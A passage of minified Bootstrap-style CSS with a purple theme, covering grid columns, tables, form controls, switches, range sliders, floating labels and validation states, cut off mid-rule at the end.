.col-xl-8 { flex: 0 0 auto; width: 66.66667%; } .col-xl-9 { flex: 0 0 auto; width: 75%; } .col-xl-10 { flex: 0 0 auto; width: 83.33333%; } .col-xl-11 { flex: 0 0 auto; width: 91.66667%; } .col-xl-12 { flex: 0 0 auto; width: 100%; } .offset-xl-0 { margin-left: 0; } .offset-xl-1 { margin-left: 8.33333%; } .offset-xl-2 { margin-left: 16.66667%; } .offset-xl-3 { margin-left: 25%; } .offset-xl-4 { margin-left: 33.33333%; } .offset-xl-5 { margin-left: 41.66667%; } .offset-xl-6 { margin-left: 50%; } .offset-xl-7 { margin-left: 58.33333%; } .offset-xl-8 { margin-left: 66.66667%; } .offset-xl-9 { margin-left: 75%; } .offset-xl-10 { margin-left: 83.33333%; } .offset-xl-11 { margin-left: 91.66667%; } .g-xl-0, .gx-xl-0 { --bs-gutter-x: 0; } .g-xl-0, .gy-xl-0 { --bs-gutter-y: 0; } .g-xl-1, .gx-xl-1 { --bs-gutter-x: 0.25rem; } .g-xl-1, .gy-xl-1 { --bs-gutter-y: 0.25rem; } .g-xl-2, .gx-xl-2 { --bs-gutter-x: 0.5rem; } .g-xl-2, .gy-xl-2 { --bs-gutter-y: 0.5rem; } .g-xl-3, .gx-xl-3 { --bs-gutter-x: 1rem; } .g-xl-3, .gy-xl-3 { --bs-gutter-y: 1rem; } .g-xl-4, .gx-xl-4 { --bs-gutter-x: 1.5rem; } .g-xl-4, .gy-xl-4 { --bs-gutter-y: 1.5rem; } .g-xl-5, .gx-xl-5 { --bs-gutter-x: 3rem; } .g-xl-5, .gy-xl-5 { --bs-gutter-y: 3rem; } } @media (min-width: 1400px) { .col-xxl { flex: 1 0 0%; } .row-cols-xxl-auto > * { flex: 0 0 auto; width: auto; } .row-cols-xxl-1 > * { flex: 0 0 auto; width: 100%; } .row-cols-xxl-2 > * { flex: 0 0 auto; width: 50%; } .row-cols-xxl-3 > * { flex: 0 0 auto; width: 33.33333%; } .row-cols-xxl-4 > * { flex: 0 0 auto; width: 25%; } .row-cols-xxl-5 > * { flex: 0 0 auto; width: 20%; } .row-cols-xxl-6 > * { flex: 0 0 auto; width: 16.66667%; } .col-xxl-auto { flex: 0 0 auto; width: auto; } .col-xxl-1 { flex: 0 0 auto; width: 8.33333%; } .col-xxl-2 { flex: 0 0 auto; width: 16.66667%; } .col-xxl-3 { flex: 0 0 auto; width: 25%; } .col-xxl-4 { flex: 0 0 auto; width: 33.33333%; } .col-xxl-5 { flex: 0 0 auto; width: 41.66667%; } .col-xxl-6 { flex: 0 0 auto; width: 50%; } .col-xxl-7 { flex: 0 0 auto; width: 58.33333%; } .col-xxl-8 { flex: 0 0 auto; width: 66.66667%; } .col-xxl-9 { flex: 0 0 auto; width: 75%; } .col-xxl-10 { flex: 0 0 auto; width: 83.33333%; } .col-xxl-11 { flex: 0 0 auto; width: 91.66667%; } .col-xxl-12 { flex: 0 0 auto; width: 100%; } .offset-xxl-0 { margin-left: 0; } .offset-xxl-1 { margin-left: 8.33333%; } .offset-xxl-2 { margin-left: 16.66667%; } .offset-xxl-3 { margin-left: 25%; } .offset-xxl-4 { margin-left: 33.33333%; } .offset-xxl-5 { margin-left: 41.66667%; } .offset-xxl-6 { margin-left: 50%; } .offset-xxl-7 { margin-left: 58.33333%; } .offset-xxl-8 { margin-left: 66.66667%; } .offset-xxl-9 { margin-left: 75%; } .offset-xxl-10 { margin-left: 83.33333%; } .offset-xxl-11 { margin-left: 91.66667%; } .g-xxl-0, .gx-xxl-0 { --bs-gutter-x: 0; } .g-xxl-0, .gy-xxl-0 { --bs-gutter-y: 0; } .g-xxl-1, .gx-xxl-1 { --bs-gutter-x: 0.25rem; } .g-xxl-1, .gy-xxl-1 { --bs-gutter-y: 0.25rem; } .g-xxl-2, .gx-xxl-2 { --bs-gutter-x: 0.5rem; } .g-xxl-2, .gy-xxl-2 { --bs-gutter-y: 0.5rem; } .g-xxl-3, .gx-xxl-3 { --bs-gutter-x: 1rem; } .g-xxl-3, .gy-xxl-3 { --bs-gutter-y: 1rem; } .g-xxl-4, .gx-xxl-4 { --bs-gutter-x: 1.5rem; } .g-xxl-4, .gy-xxl-4 { --bs-gutter-y: 1.5rem; } .g-xxl-5, .gx-xxl-5 { --bs-gutter-x: 3rem; } .g-xxl-5, .gy-xxl-5 { --bs-gutter-y: 3rem; } } .table { --bs-table-color: #293240; --bs-table-bg: transparent; --bs-table-border-color: #f1f1f1; --bs-table-accent-bg: transparent; --bs-table-striped-color: #293240; --bs-table-striped-bg: rgba(0, 0, 0, 0.05); --bs-table-active-color: #293240; --bs-table-active-bg: rgba(0, 0, 0, 0.1); --bs-table-hover-color: #293240; --bs-table-hover-bg: rgba(81, 69, 157, 0.02); width: 100%; margin-bottom: 1rem; color: var(--bs-table-color); vertical-align: top; border-color: var(--bs-table-border-color); } .table > :not(caption) > * > * { padding: 0.9rem 0.75rem; background-color: var(--bs-table-bg); border-bottom-width: 1px; box-shadow: inset 0 0 0 9999px var(--bs-table-accent-bg); } .table > tbody { vertical-align: inherit; } .table > thead { vertical-align: bottom; } .table-group-divider { border-top: 2px solid currentcolor; } .caption-top { caption-side: top; } .table-sm > :not(caption) > * > * { padding: 0.3rem 0.3rem; } .table-bordered > :not(caption) > * { border-width: 1px 0; } .table-bordered > :not(caption) > * > * { border-width: 0 1px; } .table-borderless > :not(caption) > * > * { border-bottom-width: 0; } .table-borderless > :not(:first-child) { border-top-width: 0; } .table-striped > tbody > tr:nth-of-type(odd) > * { --bs-table-accent-bg: var(--bs-table-striped-bg); color: var(--bs-table-striped-color); } .table-striped-columns > :not(caption) > tr > :nth-child(even) { --bs-table-accent-bg: var(--bs-table-striped-bg); color: var(--bs-table-striped-color); } .table-active { --bs-table-accent-bg: var(--bs-table-active-bg); color: var(--bs-table-active-color); } .table-hover > tbody > tr:hover > * { --bs-table-accent-bg: var(--bs-table-hover-bg); color: var(--bs-table-hover-color); } .table-primary { --bs-table-color: #212529; --bs-table-bg: #dcdaeb; --bs-table-border-color: #c9c8d8; --bs-table-striped-bg: #d3d1e1; --bs-table-striped-color: #212529; --bs-table-active-bg: #c9c8d8; --bs-table-active-color: #ffffff; --bs-table-hover-bg: #d8d6e7; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-secondary { --bs-table-color: #212529; --bs-table-bg: #e2e3e5; --bs-table-border-color: #cfd0d2; --bs-table-striped-bg: #d8dadc; --bs-table-striped-color: #212529; --bs-table-active-bg: #cfd0d2; --bs-table-active-color: #212529; --bs-table-hover-bg: #dedfe1; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-success { --bs-table-color: #212529; --bs-table-bg: #e2f7d9; --bs-table-border-color: #cfe2c7; --bs-table-striped-bg: #d8edd0; --bs-table-striped-color: #212529; --bs-table-active-bg: #cfe2c7; --bs-table-active-color: #212529; --bs-table-hover-bg: #def3d5; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-info { --bs-table-color: #212529; --bs-table-bg: #d8f4f7; --bs-table-border-color: #c6dfe2; --bs-table-striped-bg: #cfeaed; --bs-table-striped-color: #212529; --bs-table-active-bg: #c6dfe2; --bs-table-active-color: #212529; --bs-table-hover-bg: #d4f0f3; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-warning { --bs-table-color: #212529; --bs-table-bg: #ffecd2; --bs-table-border-color: #e9d8c1; --bs-table-striped-bg: #f4e2ca; --bs-table-striped-color: #212529; --bs-table-active-bg: #e9d8c1; --bs-table-active-color: #212529; --bs-table-hover-bg: #fbe8cf; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-danger { --bs-table-color: #212529; --bs-table-bg: #ffd8e2; --bs-table-border-color: #e9c6d0; --bs-table-striped-bg: #f4cfd9; --bs-table-striped-color: #212529; --bs-table-active-bg: #e9c6d0; --bs-table-active-color: #ffffff; --bs-table-hover-bg: #fbd4de; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-light { --bs-table-color: #212529; --bs-table-bg: #f8f9fa; --bs-table-border-color: #e3e4e5; --bs-table-striped-bg: #edeef0; --bs-table-striped-color: #212529; --bs-table-active-bg: #e3e4e5; --bs-table-active-color: #212529; --bs-table-hover-bg: #f4f5f6; --bs-table-hover-color: #212529; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-dark { --bs-table-color: #ffffff; --bs-table-bg: #1c232f; --bs-table-border-color: #333944; --bs-table-striped-bg: #272e39; --bs-table-striped-color: #ffffff; --bs-table-active-bg: #333944; --bs-table-active-color: #ffffff; --bs-table-hover-bg: #212733; --bs-table-hover-color: #ffffff; color: var(--bs-table-color); border-color: var(--bs-table-border-color); } .table-responsive { overflow-x: auto; -webkit-overflow-scrolling: touch; } @media (max-width: 575.98px) { .table-responsive-sm { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 767.98px) { .table-responsive-md { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 991.98px) { .table-responsive-lg { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 1199.98px) { .table-responsive-xl { overflow-x: auto; -webkit-overflow-scrolling: touch; } } @media (max-width: 1399.98px) { .table-responsive-xxl { overflow-x: auto; -webkit-overflow-scrolling: touch; } } .form-label { margin-bottom: 0.5rem; } .col-form-label { padding-top: calc(0.575rem + 1px); padding-bottom: calc(0.575rem + 1px); margin-bottom: 0; font-size: inherit; line-height: 1.5; } .col-form-label-lg { padding-top: calc(0.5rem + 1px); padding-bottom: calc(0.5rem + 1px); font-size: 1.09375rem; } .col-form-label-sm { padding-top: calc(0.25rem + 1px); padding-bottom: calc(0.25rem + 1px); font-size: 0.76563rem; } .form-text { margin-top: 0.25rem; font-size: 80%; color: #6c757d; } .form-control, .custom-select, .dataTable-selector, .dataTable-input { display: block; width: 100%; padding: 0.575rem 1rem; font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: #293240; background-color: #ffffff; background-clip: padding-box; border: 1px solid #ced4da; -webkit-appearance: none; -moz-appearance: none; appearance: none; border-radius: 6px; transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-control, .custom-select, .dataTable-selector, .dataTable-input { transition: none; } } .form-control[type="file"], .custom-select[type="file"], .dataTable-selector[type="file"], .dataTable-input[type="file"] { overflow: hidden; } .form-control[type="file"]:not(:disabled):not([readonly]), .custom-select[type="file"]:not(:disabled):not([readonly]), .dataTable-selector[type="file"]:not(:disabled):not([readonly]), .dataTable-input[type="file"]:not(:disabled):not([readonly]) { cursor: pointer; } .form-control:focus, .custom-select:focus, .dataTable-selector:focus, .dataTable-input:focus { color: #293240; background-color: #ffffff; border-color: #51459d; outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-control::-webkit-date-and-time-value, .custom-select::-webkit-date-and-time-value, .dataTable-selector::-webkit-date-and-time-value, .dataTable-input::-webkit-date-and-time-value { height: 1.5em; } .form-control::-moz-placeholder, .custom-select::-moz-placeholder, .dataTable-selector::-moz-placeholder, .dataTable-input::-moz-placeholder { color: #6c757d; opacity: 1; } .form-control::placeholder, .custom-select::placeholder, .dataTable-selector::placeholder, .dataTable-input::placeholder { color: #6c757d; opacity: 1; } .form-control:disabled, .custom-select:disabled, .dataTable-selector:disabled, .dataTable-input:disabled { background-color: #e9ecef; opacity: 1; } .form-control::file-selector-button, .custom-select::file-selector-button, .dataTable-selector::file-selector-button, .dataTable-input::file-selector-button { padding: 0.575rem 1rem; margin: -0.575rem -1rem; -webkit-margin-end: 1rem; margin-inline-end: 1rem; color: #293240; background-color: #f8f9fd; pointer-events: none; border-color: inherit; border-style: solid; border-width: 0; border-inline-end-width: 1px; border-radius: 0; transition: color 0.15s ease-in-out, background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-control::file-selector-button, .custom-select::file-selector-button, .dataTable-selector::file-selector-button, .dataTable-input::file-selector-button { transition: none; } } .form-control:hover:not(:disabled):not([readonly])::file-selector-button, .custom-select:hover:not(:disabled):not([readonly])::file-selector-button, .dataTable-selector:hover:not(:disabled):not([readonly])::file-selector-button, .dataTable-input:hover:not(:disabled):not([readonly])::file-selector-button { background-color: #ecedf0; } .form-control-plaintext { display: block; width: 100%; padding: 0.575rem 0; margin-bottom: 0; line-height: 1.5; color: #293240; background-color: transparent; border: solid transparent; border-width: 1px 0; } .form-control-plaintext:focus { outline: 0; } .form-control-plaintext.form-control-sm, .form-control-plaintext.form-control-lg { padding-right: 0; padding-left: 0; } .form-control-sm { min-height: calc(1.5em + 0.5rem + 2px); padding: 0.25rem 0.5rem; font-size: 0.76563rem; border-radius: 4px; } .form-control-sm::file-selector-button { padding: 0.25rem 0.5rem; margin: -0.25rem -0.5rem; -webkit-margin-end: 0.5rem; margin-inline-end: 0.5rem; } .form-control-lg { min-height: calc(1.5em + 1rem + 2px); padding: 0.5rem 1rem; font-size: 1.09375rem; border-radius: 8px; } .form-control-lg::file-selector-button { padding: 0.5rem 1rem; margin: -0.5rem -1rem; -webkit-margin-end: 1rem; margin-inline-end: 1rem; } textarea.form-control, textarea.custom-select, textarea.dataTable-selector, textarea.dataTable-input { min-height: calc(1.5em + 1.15rem + 2px); } textarea.form-control-sm { min-height: calc(1.5em + 0.5rem + 2px); } textarea.form-control-lg { min-height: calc(1.5em + 1rem + 2px); } .form-control-color { width: 3rem; height: calc(1.5em + 1.15rem + 2px); padding: 0.575rem; } .form-control-color:not(:disabled):not([readonly]) { cursor: pointer; } .form-control-color::-moz-color-swatch { border: 0 !important; border-radius: 6px; } .form-control-color::-webkit-color-swatch { border-radius: 6px; } .form-control-color.form-control-sm { height: calc(1.5em + 0.5rem + 2px); } .form-control-color.form-control-lg { height: calc(1.5em + 1rem + 2px); } .form-select { display: block; width: 100%; padding: 0.575rem 1rem 0.575rem 1rem; -moz-padding-start: calc(1rem - 3px); font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: #293240; background-color: #ffffff; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e"); background-repeat: no-repeat; background-position: right 1rem center; background-size: 16px 12px; border: 1px solid #ced4da; border-radius: 6px; transition: border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; -webkit-appearance: none; -moz-appearance: none; appearance: none; } @media (prefers-reduced-motion: reduce) { .form-select { transition: none; } } .form-select:focus { border-color: #51459d; outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-select[multiple], .form-select[size]:not([size="1"]) { padding-right: 1rem; background-image: none; } .form-select:disabled { color: #6c757d; background-color: #e9ecef; } .form-select:-moz-focusring { color: transparent; text-shadow: 0 0 0 #293240; } .form-select-sm { padding-top: 0.25rem; padding-bottom: 0.25rem; padding-left: 0.5rem; font-size: 0.76563rem; border-radius: 4px; } .form-select-lg { padding-top: 0.5rem; padding-bottom: 0.5rem; padding-left: 1rem; font-size: 1.09375rem; border-radius: 8px; } .form-check { display: block; min-height: 1.3125rem; padding-left: 1.75em; margin-bottom: 0.125rem; } .form-check .form-check-input { float: left; margin-left: -1.75em; } .form-check-reverse { padding-right: 1.75em; padding-left: 0; text-align: right; } .form-check-reverse .form-check-input { float: right; margin-right: -1.75em; margin-left: 0; } .form-check-input { width: 1.25em; height: 1.25em; margin-top: 0.125em; vertical-align: top; background-color: #ffffff; background-repeat: no-repeat; background-position: center; background-size: contain; border: 1px solid rgba(0, 0, 0, 0.25); -webkit-appearance: none; -moz-appearance: none; appearance: none; print-color-adjust: exact; transition: background-color 0.15s ease-in-out, background-position 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-check-input { transition: none; } } .form-check-input[type="checkbox"] { border-radius: 0.25em; } .form-check-input[type="radio"] { border-radius: 50%; } .form-check-input:active { filter: brightness(90%); } .form-check-input:focus { border-color: #51459d; outline: 0; box-shadow: 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-check-input:checked { background-color: #51459d; border-color: #51459d; } .form-check-input:checked[type="checkbox"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffffff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10l3 3l6-6'/%3e%3c/svg%3e"); } .form-check-input:checked[type="radio"] { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='2' fill='%23ffffff'/%3e%3c/svg%3e"); } .form-check-input[type="checkbox"]:indeterminate { background-color: #51459d; border-color: #51459d; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 20 20'%3e%3cpath fill='none' stroke='%23ffffff' stroke-linecap='round' stroke-linejoin='round' stroke-width='3' d='M6 10h8'/%3e%3c/svg%3e"); } .form-check-input:disabled { pointer-events: none; filter: none; opacity: 0.5; } .form-check-input[disabled] ~ .form-check-label, .form-check-input:disabled ~ .form-check-label { cursor: default; opacity: 0.5; } .form-switch { padding-left: 2.5em; } .form-switch .form-check-input { width: 2em; margin-left: -2.5em; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='rgba%280, 0, 0, 0.25%29'/%3e%3c/svg%3e"); background-position: left center; border-radius: 2em; transition: background-position 0.15s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-switch .form-check-input { transition: none; } } .form-switch .form-check-input:focus { background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%2351459d'/%3e%3c/svg%3e"); } .form-switch .form-check-input:checked { background-position: right center; background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23ffffff'/%3e%3c/svg%3e"); } .form-switch.form-check-reverse { padding-right: 2.5em; padding-left: 0; } .form-switch.form-check-reverse .form-check-input { margin-right: -2.5em; margin-left: 0; } .form-check-inline { display: inline-block; margin-right: 1rem; } .btn-check { position: absolute; clip: rect(0, 0, 0, 0); pointer-events: none; } .btn-check[disabled] + .btn, .btn-check:disabled + .btn { pointer-events: none; filter: none; opacity: 0.65; } .form-range { width: 100%; height: 1.4rem; padding: 0; background-color: transparent; -webkit-appearance: none; -moz-appearance: none; appearance: none; } .form-range:focus { outline: 0; } .form-range:focus::-webkit-slider-thumb { box-shadow: 0 0 0 1px #f8f9fd, 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-range:focus::-moz-range-thumb { box-shadow: 0 0 0 1px #f8f9fd, 0 0 0 0.2rem rgba(81, 69, 157, 0.25); } .form-range::-moz-focus-outer { border: 0; } .form-range::-webkit-slider-thumb { width: 1rem; height: 1rem; margin-top: -0.25rem; background-color: #51459d; border: 0; border-radius: 1rem; -webkit-transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; -webkit-appearance: none; appearance: none; } @media (prefers-reduced-motion: reduce) { .form-range::-webkit-slider-thumb { -webkit-transition: none; transition: none; } } .form-range::-webkit-slider-thumb:active { background-color: #bbb6df; } .form-range::-webkit-slider-runnable-track { width: 100%; height: 0.5rem; color: transparent; cursor: pointer; background-color: #f8f9fd; border-color: transparent; border-radius: 1rem; } .form-range::-moz-range-thumb { width: 1rem; height: 1rem; background-color: #51459d; border: 0; border-radius: 1rem; -moz-transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; transition: background-color 0.15s ease-in-out, border-color 0.15s ease-in-out, box-shadow 0.15s ease-in-out; -moz-appearance: none; appearance: none; } @media (prefers-reduced-motion: reduce) { .form-range::-moz-range-thumb { -moz-transition: none; transition: none; } } .form-range::-moz-range-thumb:active { background-color: #bbb6df; } .form-range::-moz-range-track { width: 100%; height: 0.5rem; color: transparent; cursor: pointer; background-color: #f8f9fd; border-color: transparent; border-radius: 1rem; } .form-range:disabled { pointer-events: none; } .form-range:disabled::-webkit-slider-thumb { background-color: #adb5bd; } .form-range:disabled::-moz-range-thumb { background-color: #adb5bd; } .form-floating { position: relative; } .form-floating > .form-control, .form-floating > .custom-select, .form-floating > .dataTable-selector, .form-floating > .dataTable-input, .form-floating > .form-control-plaintext, .form-floating > .form-select { height: calc(3.6rem + 2px); line-height: 1.25; } .form-floating > label { position: absolute; top: 0; left: 0; width: 100%; height: 100%; padding: 1rem 1rem; overflow: hidden; text-align: start; text-overflow: ellipsis; white-space: nowrap; pointer-events: none; border: 1px solid transparent; transform-origin: 0 0; transition: opacity 0.1s ease-in-out, transform 0.1s ease-in-out; } @media (prefers-reduced-motion: reduce) { .form-floating > label { transition: none; } } .form-floating > .form-control, .form-floating > .custom-select, .form-floating > .dataTable-selector, .form-floating > .dataTable-input, .form-floating > .form-control-plaintext { padding: 1rem 1rem; } .form-floating > .form-control::-moz-placeholder, .form-floating > .custom-select::-moz-placeholder, .form-floating > .dataTable-selector::-moz-placeholder, .form-floating > .dataTable-input::-moz-placeholder, .form-floating > .form-control-plaintext::-moz-placeholder { color: transparent; } .form-floating > .form-control::placeholder, .form-floating > .custom-select::placeholder, .form-floating > .dataTable-selector::placeholder, .form-floating > .dataTable-input::placeholder, .form-floating > .form-control-plaintext::placeholder { color: transparent; } .form-floating > .form-control:not(:-moz-placeholder-shown), .form-floating > .custom-select:not(:-moz-placeholder-shown), .form-floating > .dataTable-selector:not(:-moz-placeholder-shown), .form-floating > .dataTable-input:not(:-moz-placeholder-shown), .form-floating > .form-control-plaintext:not(:-moz-placeholder-shown) { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-control:focus, .form-floating > .custom-select:focus, .form-floating > .dataTable-selector:focus, .form-floating > .dataTable-input:focus, .form-floating > .form-control:not(:placeholder-shown), .form-floating > .custom-select:not(:placeholder-shown), .form-floating > .dataTable-selector:not(:placeholder-shown), .form-floating > .dataTable-input:not(:placeholder-shown), .form-floating > .form-control-plaintext:focus, .form-floating > .form-control-plaintext:not(:placeholder-shown) { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-control:-webkit-autofill, .form-floating > .custom-select:-webkit-autofill, .form-floating > .dataTable-selector:-webkit-autofill, .form-floating > .dataTable-input:-webkit-autofill, .form-floating > .form-control-plaintext:-webkit-autofill { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-select { padding-top: 1.625rem; padding-bottom: 0.625rem; } .form-floating > .form-control:not(:-moz-placeholder-shown) ~ label, .form-floating > .custom-select:not(:-moz-placeholder-shown) ~ label, .form-floating > .dataTable-selector:not(:-moz-placeholder-shown) ~ label, .form-floating > .dataTable-input:not(:-moz-placeholder-shown) ~ label { opacity: 0.65; transform: scale(0.85) translateY(-0.5rem) translateX(0.15rem); } .form-floating > .form-control:focus ~ label, .form-floating > .custom-select:focus ~ label, .form-floating > .dataTable-selector:focus ~ label, .form-floating > .dataTable-input:focus ~ label, .form-floating > .form-control:not(:placeholder-shown) ~ label, .form-floating > .custom-select:not(:placeholder-shown) ~ label, .form-floating > .dataTable-selector:not(:placeholder-shown) ~ label, .form-floating > .dataTable-input:not(:placeholder-shown) ~ label, .form-floating > .form-control-plaintext ~ label, .form-floating > .form-select ~ label { opacity: 0.65; transform: scale(0.85) translateY(-0.5rem) translateX(0.15rem); } .form-floating > .form-control:-webkit-autofill ~ label, .form-floating > .custom-select:-webkit-autofill ~ label, .form-floating > .dataTable-selector:-webkit-autofill ~ label, .form-floating > .dataTable-input:-webkit-autofill ~ label { opacity: 0.65; transform: scale(0.85) translateY(-0.5rem) translateX(0.15rem); } .form-floating > .form-control-plaintext ~ label { border-width: 1px 0; } .input-group { position: relative; display: flex; flex-wrap: wrap; align-items: stretch; width: 100%; } .input-group > .form-control, .input-group > .custom-select, .input-group > .dataTable-selector, .input-group > .dataTable-input, .input-group > .form-select, .input-group > .form-floating { position: relative; flex: 1 1 auto; width: 1%; min-width: 0; } .input-group > .form-control:focus, .input-group > .custom-select:focus, .input-group > .dataTable-selector:focus, .input-group > .dataTable-input:focus, .input-group > .form-select:focus, .input-group > .form-floating:focus-within { z-index: 5; } .input-group .btn { position: relative; z-index: 2; } .input-group .btn:focus { z-index: 5; } .input-group-text { display: flex; align-items: center; padding: 0.575rem 1rem; font-size: 0.875rem; font-weight: 400; line-height: 1.5; color: #293240; text-align: center; white-space: nowrap; background-color: #f8f9fd; border: 1px solid #ced4da; border-radius: 6px; } .input-group-lg > .form-control, .input-group-lg > .custom-select, .input-group-lg > .dataTable-selector, .input-group-lg > .dataTable-input, .input-group-lg > .form-select, .input-group-lg > .input-group-text, .input-group-lg > .btn { padding: 0.5rem 1rem; font-size: 1.09375rem; border-radius: 8px; } .input-group-sm > .form-control, .input-group-sm > .custom-select, .input-group-sm > .dataTable-selector, .input-group-sm > .dataTable-input, .input-group-sm > .form-select, .input-group-sm > .input-group-text, .input-group-sm > .btn { padding: 0.25rem 0.5rem; font-size: 0.76563rem; border-radius: 4px; } .input-group-lg > .form-select, .input-group-sm > .form-select { padding-right: 2rem; } .input-group:not(.has-validation) > :not(:last-child):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating), .input-group:not(.has-validation) > .dropdown-toggle:nth-last-child(n + 3), .input-group:not(.has-validation) > .form-floating:not(:last-child) > .form-control, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .custom-select, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .dataTable-selector, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .dataTable-input, .input-group:not(.has-validation) > .form-floating:not(:last-child) > .form-select { border-top-right-radius: 0; border-bottom-right-radius: 0; } .input-group.has-validation > :nth-last-child(n + 3):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating), .input-group.has-validation > .dropdown-toggle:nth-last-child(n + 4), .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .form-control, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .custom-select, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .dataTable-selector, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .dataTable-input, .input-group.has-validation > .form-floating:nth-last-child(n + 3) > .form-select { border-top-right-radius: 0; border-bottom-right-radius: 0; } .input-group > :not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback) { margin-left: -1px; border-top-left-radius: 0; border-bottom-left-radius: 0; } .input-group > .form-floating:not(:first-child) > .form-control, .input-group > .form-floating:not(:first-child) > .custom-select, .input-group > .form-floating:not(:first-child) > .dataTable-selector, .input-group > .form-floating:not(:first-child) > .dataTable-input, .input-group > .form-floating:not(:first-child) > .form-select { border-top-left-radius: 0; border-bottom-left-radius: 0; } .valid-feedback { display: none; width: 100%; margin-top: 0.25rem; font-size: 80%; color: #6fd943; } .valid-tooltip { position: absolute; top: 100%; z-index: 5; display: none; max-width: 100%; padding: 0.25rem 0.5rem; margin-top: .1rem; font-size: 0.76563rem; line-height: 1.5; color: #ffffff; background-color: rgba(111, 217, 67, 0.9); border-radius: 10px; } .was-validated :valid ~ .valid-feedback, .was-validated :valid ~ .valid-tooltip, .is-valid ~ .valid-feedback, .is-valid ~ .valid-tooltip { display: block; } .was-validated .form-control:valid, .was-validated .custom-select:valid, .was-validated .dataTable-selector:valid, .was-validated .dataTable-input:valid, .form-control.is-valid, .is-valid.custom-select, .is-valid.dataTable-selector, .is-valid.dataTable-input { border-color: #6fd943; padding-right: calc(1.5em + 1.15rem); background-image: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%236fd943' d='M2.3 6.73L.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e"); background-repeat: no-repeat; background-position: right calc(0.375em + 0.2875rem) center; background-size: calc(0.75em + 0.575rem) calc(0.75em + 0.575rem); } .was-validated .form-control:valid:focus, .was-validated .custom-select:valid:focus, .was-validated .dataTable-selector:valid:focus, .was-validated .dataTable-input:valid:focus, .form-control.is-valid:focus, .is-valid.custom-select:focus, .is-valid.dataTable-selector:focus, .is-valid.dataTable-input:focus { border-color: #6fd943; box-shadow: 0 0 0 0.2rem rgba(111, 217, 67, 0.25); } .was-validated textarea.form-control:valid, .was-validated textarea.custom-select:valid, .was-validated textarea.dataTable-selector:valid, .was-validated textarea.dataTable-input:valid, textarea.form-control.is-valid, textarea.is-valid.custom-select, textarea.is-valid.dataTable-selector, textarea.is-valid.dataTable-input { padding-right: calc(1.5em + 1.15rem); background-position: top calc(0.375em + 0.2875rem) right calc(0.375em + 0.2875rem); } .was-validated .form-select:valid, .form-select.is-valid { border-color: #6fd943; } .was-validated .form-select:valid:not([multiple]):not([size]), .was-validated .form-select:valid:not([multiple])[size="1"], .form-select.is-valid:not([multiple]):not([size]), .form-select.is-valid:not([multiple])[size="1"] { padding-right: calc(0.75em + 2.8625rem); background-image: 